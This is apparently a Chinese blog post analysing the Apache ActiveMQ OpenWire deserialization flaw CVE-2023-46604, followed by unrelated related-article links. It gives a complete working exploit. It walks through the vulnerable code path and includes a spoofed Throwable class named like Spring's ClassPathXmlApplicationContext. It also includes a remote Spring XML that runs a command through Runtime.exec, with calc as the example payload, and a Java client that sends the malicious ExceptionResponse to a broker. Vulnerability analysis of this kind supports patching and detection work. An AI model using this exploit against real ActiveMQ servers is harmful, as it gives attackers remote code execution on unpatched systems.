• ActiveMQ RCE CVE-2023-46604分析


    一、漏洞触发点

    org.apache.activemq.openwire.v12包下BaseDataStreamMarshaller类的createThrowable方法。

    package org.apache.activemq.openwire.v12;
    BaseDataStreamMarshaller类
        
    private Throwable createThrowable(String className, String message) {
            try {
                Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
                Constructor constructor = clazz.getConstructor(new Class[] {String.class});
                return (Throwable)constructor.newInstance(new Object[] {message});
            } catch (Throwable e) {
                return new Throwable(className + ": " + message);
            }
        }
    

    这里通过反射,实现了一个类的构造执行。所以需要找到这样一个类传递进去,类的构造方法参数为String,且能达到攻击效果。
    activemq包含Spring,而ClassPathXmlApplicationContext类刚好能满足。

    public class MainClassPathXmlApplicationContext {
        public static void main(String[] args) throws Exception {
            ClassPathXmlApplicationContext classPathXmlApplicationContext = new ClassPathXmlApplicationContext();
            Class aClass = Class.forName(classPathXmlApplicationContext.getClass().getName(), false, classPathXmlApplicationContext.getClassLoader());
            Constructor constructor = aClass.getConstructor(new Class[]{String.class});
            constructor.newInstance(new Object[]{"http://127.0.0.1:7777/poc.xml"});
        }
    }
    

    二、触发流程

    createThrowable的触发来源两处

    1. org.apache.activemq.openwire.v12.BaseDataStreamMarshaller.tightUnmarsalThrowable
    2. org.apache.activemq.openwire.v12.BaseDataStreamMarshaller.looseUnmarsalThrowable

    tightUnmarsalThrowable和looseUnmarsalThrowable的作用是将字节流反序列化为异常对象,并将其抛出。在 ActiveMQ 的消息传递过程中,异常对象可以用于在消息发送和接收之间传递错误信息或异常状态。通过将异常对象序列化并作为消息的一部分发送,接收方可以获取到发送方抛出的异常,并反序列化后处理。

    这两处继续往上寻找触发点,一共有三处,也就是捕获异常对象是这三种类就可以触发tightUnmarsalThrowable或looseUnmarsalThrowable:

    1. ConnectionErrorMarshaller
    2. ExceptionResponseMarshaller
    3. MessageAckMarshaller

    三类都存在tightUnmarshal和looseUnmarshal方法,两个方法分别触发tightUnmarshal和looseUnmarsalThrowable。
    继续向上寻找,触发均来自OpenWireFormat类的doUnmarshal,该方法是OpenWire协议的反序列化方法。
    在doUnmarshal中,根据dataType索引值对应的类,来执行对应类的tightUnmarshal或looseUnmarshal。

    public Object doUnmarshal(DataInput dis) throws IOException {
            byte dataType = dis.readByte();
            if (dataType != NULL_TYPE) {
                DataStreamMarshaller dsm = dataMarshallers[dataType & 0xFF];
                if (dsm == null) {
                    throw new IOException("Unknown data type: " + dataType);
                }
                Object data = dsm.createObject();
                if (this.tightEncodingEnabled) {
                    BooleanStream bs = new BooleanStream();
                    bs.unmarshal(dis);
                    dsm.tightUnmarshal(this, data, dis, bs);
                } else {
                    dsm.looseUnmarshal(this, data, dis);
                }
                return data;
            } else {
                return null;
            }
        }
    

    dataType在dataMarshallers中对应的上述三种类索引如下:

    1. ConnectionErrorMarshaller---16
    2. ExceptionResponseMarshaller---31
    3. MessageAckMarshaller---22

    doUnmarshal再往上就是unmarshal,这也是所有数据接收的入口。

    通过这里的分析,只要我们将ConnectionErrorMarshaller、ExceptionResponseMarshaller、MessageAckMarshaller三种类型的对象序列化传给ActiveMQ的OpenWire协议接口,就可以让ActiveMQ在接收后进行反序列化,触发createThrowable。

    三、传递的对象类型

    通过上述知道dataType需要为16、31、22。当发送的对象类为ConnectionErrorExceptionResponseMessageAck的时候dataType分别是16、31、22。
    而这三个类接收的exception参数需要继承Throwable,所以可以在本地构造一个与Spring同路径名的ClassPathXmlApplicationContext类并继承Throwable,当ClassPathXmlApplicationContext对象发送后,类路径和message会被解析,最后服务器侧通过类路径反射得到Spring中的ClassPathXmlApplicationContext对象,达到攻击效果。

    package org.springframework.context.support;
    
    public class ClassPathXmlApplicationContext extends Throwable{
        public ClassPathXmlApplicationContext(String message) {
            super(message);
        }
    }
    

    四、如何发送序列化对象

    Transport的oneway可实现对象发送,ActiveMQ的连接对象为ActiveMQConnection类,通过使用ActiveMQConnection类中asyncSendPacket最终调用Transport的oneway,来发送恶意对象。

    ((ActiveMQConnection)connection).asyncSendPacket(exceptionResponse);
    

    五、利用方式

    远程XML文件

    
    <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
       <bean id="runtime" class="java.lang.Runtime" factory-method="getRuntime" />
       <bean id="process" factory-bean="runtime" factory-method="exec">
           <constructor-arg value="cmd /c start calc" />
       bean>
    beans>
    

    ClassPathXmlApplicationContext类

    package org.springframework.context.support;
    
    public class ClassPathXmlApplicationContext extends Throwable{
        public ClassPathXmlApplicationContext(String message) {
            super(message);
        }
    }
    

    最终实现

    import javax.jms.*;
    
    public class Main {
        private static final String ACTIVEMQ_URL = "tcp://127.0.0.1:61616";
        public static void main(String[] args) throws Exception {
            ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(ACTIVEMQ_URL);
            Connection connection = activeMQConnectionFactory.createConnection();
            connection.start();
            Throwable obj = new ClassPathXmlApplicationContext("http://127.0.0.1:7777/poc.xml");
            ExceptionResponse exceptionResponse = new ExceptionResponse(obj);
    //      ConnectionError connectionError = new ConnectionError();
    //      connectionError.setException(obj);
    
    //      MessageAck messageAck = new MessageAck();
    //      messageAck.setPoisonCause(obj);
            ((ActiveMQConnection)connection).asyncSendPacket(exceptionResponse);
            connection.close();
        }
    }
    
  • 相关阅读:
    Java多线程_定时器和单例模式
    深度学习(五)之原型网络
    关于华为产品生命周期
    GLSL声明数组
    图解Tire树+代码实现
    java读取服务器数据包并下载至本地目录
    Acwing 835. Trie字符串统计
    Xrdp+内网穿透实现远程访问Linux Kali桌面
    变化检测(Change Detection,CD) 综述2篇 & CD代码 & 常用CD数据集及链接
    JOSEF约瑟DZJ-402 DZY-401导轨式中间继电器 触点形式 两转换 AC、DC220V
  • 原文地址:https://www.cnblogs.com/vpandaxjl/p/17955481